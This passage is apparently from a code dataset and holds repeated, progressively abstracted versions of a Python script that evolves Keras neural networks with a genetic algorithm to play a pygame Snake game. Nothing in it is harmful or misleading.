random.uniform(-.5,.5)\n weights[i][j] += change\n \n return weights\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n\n # Calculate total fitness\n total_fitness = sum(fitness)\n \n # Breeding time\n for i in range(total_models // 2):\n # Pick two parents\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n \n # Model crossover between two parents\n new = model_crossover(parent_1, parent_2)\n \n # Mutate models\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n\n # Set new weights, reset fitness\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n\n generation += 1\n return\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n\n # Calculate the heads distance from the fruit, and the previous spot\n # to see if it got closer\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] - head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] - prev[1]) ** 2)\n\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n '''\n Main App for game\n '''\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n \n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n \n def on_event(self, event):\n\n # Quit game\n if event.type == pygame.QUIT:\n self._running = False\n \n # Change direction of snake\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n # Increase speed of game\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n # Decrease speed of game\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n \n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n # Adjust fitness, reset move counter\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n \n if check_if_closer(self.snake, self.fruit):\n # Reward snake for moving towards fruit\n fitness[model_num] += 10\n\n self.moves += 1\n \n def on_render(self, model_num):\n self._display_surf.fill((0,124,0))\n \n # Fill every other space to create a multi color grid\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n\n # Draw sanke and fruit\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption(\"Gen: \" + str(generation) + \" Model: \" + str(model_num) + \" Score: \" + str(self.snake.score) + \" Tick \" + str(self.frames))\n pygame.display.update()\n \n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n \n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n \n while (self._running):\n for event in pygame.event.get():\n self.on_event(event)\n \n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n\n # Checks if game is paused\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n\n # Reset when snake dies\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n \n # Print fitness\n print(fitness[i])\n break\n\n # Clean up and print score\n # self.on_cleanup()\n print(int(self.snake.score))\n \nif __name__ == \"__main__\" :\n # Init models\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + \".keras\")\n\ntheApp = App()\nwhile True:\n\n # Reset fitness scores and player scores\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n\n # Play game for each model\n for i in range(total_models): \n theApp.on_execute(i)\n \n # Print high score to screen\n print(\"Higest score: \" + str(max(score)) + \" Model: \" + str(score.index(max(score))) + \" Gen: \" + str(generation))\n \n # Write these values to a file\n # fi = open(\"results.txt\", \"a+\")\n # fi.write(\"Higest score: \" + str(max(score)) + \" Model: \" + str(score.index(max(score))) + \" Gen: \" + str(generation) + \"\\r\\n\")\n # fi.close()\n\n # Save pool\n if save == 1:\n save_pool()\n genetic_updates()", "import random\nimport sys\nimport math\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, Activation\nfrom snake_game import Snake\nfrom snake_game import Fruit\nimport pygame\nfrom pygame.locals import *\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\nsave = 0\nsave_location = 'Saved_Models/model'\nload = 1\nload_location = 'Saved_Models-better/model'\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\ntheApp = App()\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n", "<import token>\ntotal_models = 50\ncurrent_pool = []\nfitness = []\ngeneration = 264\nsave = 0\nsave_location = 'Saved_Models/model'\nload = 1\nload_location = 'Saved_Models-better/model'\nWIDTH = 480\nHEIGHT = 480\nGRID_D = 12\nBLOCK_W = WIDTH / GRID_D\nBLOCK_H = HEIGHT / GRID_D\nMAX_MOVES = 150\nscore = []\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\ntheApp = App()\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\nif __name__ == '__main__':\n for i in range(total_models):\n model = create_model()\n current_pool.append(model)\n fitness.append(-100)\n score.append(0)\n if load == 1:\n for i in range(total_models):\n current_pool[i].load_weights(load_location + str(i) + '.keras')\n<assignment token>\nwhile True:\n for i in range(total_models):\n fitness[i] = 0\n score[i] = 0\n for i in range(total_models):\n theApp.on_execute(i)\n print('Higest score: ' + str(max(score)) + ' Model: ' + str(score.index\n (max(score))) + ' Gen: ' + str(generation))\n if save == 1:\n save_pool()\n genetic_updates()\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\ndef check_if_closer(snake, fruit):\n head = snake.position[0]\n prev = snake.position[1]\n head_dis = math.sqrt((fruit.pos[0] - head[0]) ** 2 + (fruit.pos[1] -\n head[1]) ** 2)\n prev_dis = math.sqrt((fruit.pos[0] - prev[0]) ** 2 + (fruit.pos[1] -\n prev[1]) ** 2)\n if head_dis > prev_dis:\n return False\n return True\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for i in range(0, int(GRID_D)):\n for j in range(0, int(GRID_D)):\n if (i + j) % 2 == 0:\n block = pygame.Rect(((j * BLOCK_W, i * BLOCK_H), (\n BLOCK_W, BLOCK_H)))\n pygame.draw.rect(self._display_surf, (0, 200, 0), block)\n self.fruit.draw(self._display_surf)\n self.snake.draw(self._display_surf)\n pygame.display.set_caption('Gen: ' + str(generation) + ' Model: ' +\n str(model_num) + ' Score: ' + str(self.snake.score) + ' Tick ' +\n str(self.frames))\n pygame.display.update()\n\n def on_cleanup(self):\n pygame.quit()\n sys.exit()\n\n def on_execute(self, i):\n if self.on_init() == False:\n self._running = False\n while self._running:\n for event in pygame.event.get():\n self.on_event(event)\n self.snake.direction = predict_direction(self.snake, self.fruit, i)\n if self.pause is False:\n self.on_loop(i)\n self.on_render(i)\n self.clock.tick(self.frames)\n if self.snake.alive == False or self.moves == MAX_MOVES:\n print(int(self.snake.score))\n self.snake.reset()\n self.fruit.random_generate()\n self.moves = 0\n print(fitness[i])\n break\n print(int(self.snake.score))\n\n\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef save_pool():\n for i in range(total_models):\n current_pool[i].save_weights(save_location + str(i) + '.keras')\n print('Pool saved')\n\n\ndef create_model():\n \"\"\"\n Create Neural Network as a keras model\n \"\"\"\n model = Sequential()\n model.add(Dense(12, input_dim=8, activation='relu'))\n model.add(Dense(16, activation='relu'))\n model.add(Dense(4, activation='sigmoid'))\n model.compile(loss='mse', optimizer='adam')\n return model\n\n\ndef predict_direction(snake, fruit, model_num):\n \"\"\"\n This function feeds information into the model, then determines\n which direction the snake should go\n \"\"\"\n direction = snake.check_head()\n fruit = snake.check_fruit(fruit)\n n_input = np.concatenate([direction, fruit])\n n_input = np.atleast_2d(n_input)\n output = current_pool[model_num].predict(n_input, 1)\n return output.argmax()\n\n\ndef model_crossover(parent_1, parent_2):\n \"\"\"\n Produce offspring based on the best parents\n \"\"\"\n global current_pool\n weight1 = current_pool[parent_1].get_weights()\n weight2 = current_pool[parent_2].get_weights()\n new_weight1 = weight1\n new_weight2 = weight2\n gene = random.randint(0, len(new_weight1) - 1)\n new_weight1[gene] = weight2[gene]\n new_weight2[gene] = weight1[gene]\n return np.asarray([new_weight1, new_weight2])\n\n\ndef model_mutate(weights):\n \"\"\"\n Mutate the weights of a model\n \"\"\"\n for i in range(len(weights)):\n for j in range(len(weights[i])):\n if random.uniform(0, 1) > 0.7:\n change = random.uniform(-0.5, 0.5)\n weights[i][j] += change\n return weights\n\n\ndef roulette_selection(total_fitness):\n global fitness\n choice = random.randint(0, total_fitness)\n parent = 0\n current = 0\n for idx in range(total_models):\n current += fitness[idx]\n if current > choice:\n parent = idx\n break\n return parent\n\n\ndef genetic_updates():\n global current_pool\n global fitness\n global generation\n new_weights = []\n total_fitness = sum(fitness)\n for i in range(total_models // 2):\n parent_1 = roulette_selection(total_fitness)\n parent_2 = roulette_selection(total_fitness)\n new = model_crossover(parent_1, parent_2)\n update_w1 = model_mutate(new[0])\n update_w2 = model_mutate(new[1])\n new_weights.append(update_w1)\n new_weights.append(update_w2)\n for i in range(len(new_weights)):\n current_pool[i].set_weights(new_weights[i])\n generation += 1\n return\n\n\n<function token>\n\n\nclass App:\n \"\"\"\n Main App for game\n \"\"\"\n\n def __init__(self):\n self._running = True\n self._display_surf = None\n self.size = self.width, self.height = WIDTH, HEIGHT\n self.clock = None\n self.snake = Snake()\n self.fruit = Fruit()\n self.pause = False\n self.moves = 0\n self.frames = 11\n\n def on_init(self):\n pygame.init()\n self._display_surf = pygame.display.set_mode(self.size, pygame.\n HWSURFACE | pygame.DOUBLEBUF)\n self._running = True\n self.clock = pygame.time.Clock()\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self._running = False\n if event.type == pygame.KEYDOWN:\n if event.key == K_UP:\n if self.frames < 1000000000:\n self.frames *= 10\n elif event.key == K_DOWN:\n if self.frames > 10:\n self.frames /= 10\n elif event.key == K_p:\n self.pause = not self.pause\n elif event.key == K_q:\n self.on_cleanup()\n\n def on_loop(self, model_num):\n self.snake.alive = self.snake.collision(self.snake.position[0])\n if self.snake.alive is False:\n return\n if self.snake.eat(self.fruit) is True:\n fitness[model_num] += 150\n score[model_num] += 1\n self.moves = 0\n self.snake.update()\n if check_if_closer(self.snake, self.fruit):\n fitness[model_num] += 10\n self.moves += 1\n\n def on_render(self, model_num):\n self._display_surf.fill((0, 124, 0))\n for 